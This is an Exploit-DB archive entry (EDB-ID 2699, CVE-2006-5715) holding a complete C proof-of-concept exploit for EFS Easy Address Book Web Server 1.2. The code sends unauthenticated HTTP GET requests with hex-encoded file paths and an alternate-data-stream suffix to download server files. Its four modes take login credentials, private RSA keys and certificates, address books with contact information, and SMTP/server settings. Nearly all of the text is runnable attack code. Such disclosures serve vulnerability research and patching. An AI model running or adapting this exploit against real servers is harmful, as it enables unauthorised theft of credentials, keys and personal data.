标题: EFS Easy Address Book Web Server 1.2 - Remote File Stream EDB-ID: 2699 CVE: 2006-5715 类型: REMOTE 平台: WINDOWS 发布日期: 2006-11-01 漏洞利用脚本: /*
==========================================================================
0-day Alternative File Stream Exploit for EFS Easy Address Book Web Server
===========================================================================
EFS' Easy Address Book Web Server is vulnerable to file stream exploits which
can be exploited remotely to access files without authentification.

This could lead to server compromise and/or sensitive information disclosure.


0-day Easy Address Book Web Server Alternative File Stream Exploit
Discovered and Coded by Greg Linares ==> GLinares.code [at] gmail [dot] com
This tool demonstrates EFS' Easy Address Book Web Server Vulnerability to Alternative
Data Stream GET requests which allow unauthorized users to download server
critical files.

Discovered and Reported: 11-1-2006

Usage: exploit <hostname/IP> [port 80=default] [Method see below]

--------PoC Methods:-----
1 = Gather all login username and passwords and email addresses.
2 = Gather Private RSA Keys and Certificates for server.
3 = Gather All Addressbooks and Contact Info on the server.
4 = Gather Server Settings File and SMTP server info.



*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>  /* Win32 API */
#include <wininet.h>  /* WinInet API */
int mthd;
unsigned short httpport;
char exploit[512], exploit2[512], exploit3[512], exploit4[512], exploit5[512], exploit6[512];
char logmsg[512];
char endmsg[512];
HINTERNET inet;   /* WinInet Internet Handle */
FILE *file;

void ExploitHTTP (HINTERNET inet, const char *host, const char *exp)
{

   HINTERNET connection;  /* Connection Handle */
    HINTERNET request;   /* Request Handle */
    unsigned long flags;  /* HttpOpenRequest Flags */

 char buffer[BUFSIZ];
    unsigned long len;


 printf("HOST: %s\n", host);
 printf("PORT: %i\n", httpport);

 if ((connection = InternetConnect(inet, host, httpport,
          NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0))
     == NULL)
 {
  printf("Failed to Connect...Exiting\n");
  InternetCloseHandle(inet);
  fclose(file);
  exit(1);
 }

 flags = INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_AUTO_REDIRECT |
     INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_COOKIES |
     INTERNET_FLAG_RELOAD;

 strcat(exp, "%3A%3A%24%44%41%54%41");

 request = HttpOpenRequest(connection, "GET", exp, "HTTP/1.0", NULL, NULL, flags, 0);
 if (request == NULL)
 {
  printf("HTTP Open Request failed....Exiting\n");
  InternetCloseHandle(connection);
  InternetCloseHandle(inet);
  fclose(file);
  exit(1);
 }
 if (!HttpSendRequest(request, NULL, 0, NULL, 0))
 {
  printf("HTTP Send Request failed....Exiting\n");
  InternetCloseHandle(request);
  InternetCloseHandle(connection);
  InternetCloseHandle(inet);
  fclose(file);
  exit(1);
 }
 printf("Exploit Sent...Dumping HTTP Return Packet...");
 sleep(1000);

 while (InternetReadFile(request, buffer, sizeof buffer, &len) && len > 0)
 {
  fwrite(buffer, len, 1, file);
  if (fwrite(buffer, len, 1, stdout) < 1)
  {
    printf("Error Outputting HTTP Return Packet\n");
  }
 }
 InternetCloseHandle(request);
    InternetCloseHandle(connection);
}


int main (int argc, char *argv[])
{

 printf("\n=========================================================================\n");
 printf("0-day Easy Address Book Web Server Alternative File Stream Exploit\n");
 printf("Discovered and Coded by Greg Linares ==> GLinares.code [at] gmail [dot] com\n");
 printf("This tool demonstrates EFS Address Book Server's Vulnerability to Alternative\n");
 printf("Data Stream GET requests which allow unauthorized users to download server \n");
 printf("critical files.\n");
 printf("Discovered and Reported: 11-1-2006\n");
 printf("\nUsage: %s <hostname/IP> [port 80=default] [Method see below]\n", argv[0]);
 printf("--------PoC Methods:-----\n");
 printf("1 = Gather all login username and passwords and email addresses.[Default]\n");
 printf("2 = Gather Private RSA Keys and Certificates for server.\n");
 printf("3 = Gather All Address Books and Contact Information on the server\n");
 printf("4 = Gather Server Settings File and SMTP server info.\n");
 printf("============================================================================\n");


    inet = InternetOpen("ESF Exp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (inet == NULL)
 {
  printf("Error accessing InternetOpen API - Exiting...\n");
  exit(1);
 }
 if (argc < 2)
 {
  printf("Invalid # of arguments...Exiting\n");
  exit(1);
 }
 if (atoi(argv[3]) > 4)
 {
  mthd = 1;
 }
 if (atoi(argv[3]) <= 0)
 {
  mthd = 1;
 }
 mthd = atoi(argv[3]);

 /* Set Up Exploits */
 switch(mthd)
 {
     case 1:
   file = fopen("Accounts.txt","a+");
   sprintf(exploit, "%s", "%2F%61%64%64%72%62%6F%6F%6B%2F%75%73%65%72%2E%73%64%62");
   sprintf(endmsg, "%s", "\n\n\nResults Dumped to Accounts.txt\n");
   break;
  case 2:
   file = fopen("RSAKeys.txt", "a+");
   sprintf(exploit, "%s", "%53%65%72%76%65%72%4B%65%79%2E%70%65%6D");
   sprintf(endmsg, "%s", "\n\n\nResults Dumped to RSAKeys.txt\n");
   break;
  case 3:
   file = fopen("AddrBooks.txt", "a+");
   sprintf(exploit, "%s", "%2F%61%64%64%72%62%6F%6F%6B%2F%61%64%64%72%62%6F%6F%6B%31%2E%73%64%62");
   sprintf(endmsg, "%s", "\n\n\nResults Dumped to Messages.txt\n");
   break;
  case 4:
   file = fopen("Server.txt", "a+");
   sprintf(exploit, "%s", "%6F%70%74%69%6F%6E%2E%69%6E%69");
   sprintf(endmsg, "%s", "\n\n\nResults Dumped to Server.txt\n");
   break;
 }



 sprintf(logmsg, "%s", argv[1]);
 sprintf(logmsg, "%s", "\r\n\r\n\r\n");
 fwrite(logmsg, strlen(logmsg), 1, file);
 httpport = atoi(argv[2]);
 ExploitHTTP(inet, argv[1], exploit);
 if (mthd == 3)
 {
  printf("\n\n Sending 2nd Exploit...\n");
  strcat(exploit2, "%2F%61%64%64%72%62%6F%6F%6B%2F%61%64%64%72%62%6F%6F%6B%32%2E%73%64%62");
  ExploitHTTP(inet, argv[1], exploit2);
  printf("\n\n Sending 3rd Exploit...\n");
  strcat(exploit3, "%2F%61%64%64%72%62%6F%6F%6B%2F%61%64%64%72%62%6F%6F%6B%33%2E%73%64%62");
  ExploitHTTP(inet, argv[1], exploit3);
  printf("\n\n Sending 4th Exploit...\n");
  strcat(exploit4, "%2F%61%64%64%72%62%6F%6F%6B%2F%61%64%64%72%62%6F%6F%6B%5F%75%73%65%72%2E%73%64%62");
  ExploitHTTP(inet, argv[1], exploit4);
  printf("\n\n Sending final Exploit...\n");
  strcat(exploit5, "%2F%61%64%64%72%62%6F%6F%6B%2F%61%64%64%72%62%6F%6F%6B%67%72%6F%75%70%2E%73%64%62");
  ExploitHTTP(inet, argv[1], exploit5);
 }
 if (mthd == 2)
 {
  printf("\n\n Sending 2nd Exploit...\n");
  strcat(exploit2, "%53%65%72%76%65%72%43%65%72%74%2E%70%65%6D");
  ExploitHTTP(inet, argv[1], exploit2);
  printf("\n\n Sending 3rd Exploit...\n");
  strcat(exploit3, "%52%6F%6F%74%43%65%72%74%2E%70%65%6D");
  ExploitHTTP(inet, argv[1], exploit3);
  printf("\n\n Sending 4th Exploit...\n");
  strcat(exploit4, "%65%66%73%77%73%5F%6B%65%79%2E%70%65%6D");
  ExploitHTTP(inet, argv[1], exploit4);
  printf("\n\n Sending 5th Exploit...\n");
  strcat(exploit5, "%65%66%73%77%73%5F%72%65%71%2E%70%65%6D");
  ExploitHTTP(inet, argv[1], exploit5);
  printf("\n\n Sending final Exploit...\n");
  strcat(exploit6, "%65%66%73%77%73%5F%72%61%6E%64%2E%74%78%74");
  ExploitHTTP(inet, argv[1], exploit6);
 }

 fclose(file);
    Sleep(500);
    InternetCloseHandle(inet);
 printf("\n\n===================================================\n");
 printf("%s\n", endmsg);
 printf("Proof Of Concept Exploit by Greg Linares\n");
 printf("Send Comments/Concerns/Questions/Etc to GLinares.code [at] gmail [dot] com\n");
    return 0;

}

// milw0rm.com [2006-11-01] URL: https://www.exploit-db.com/exploits/2699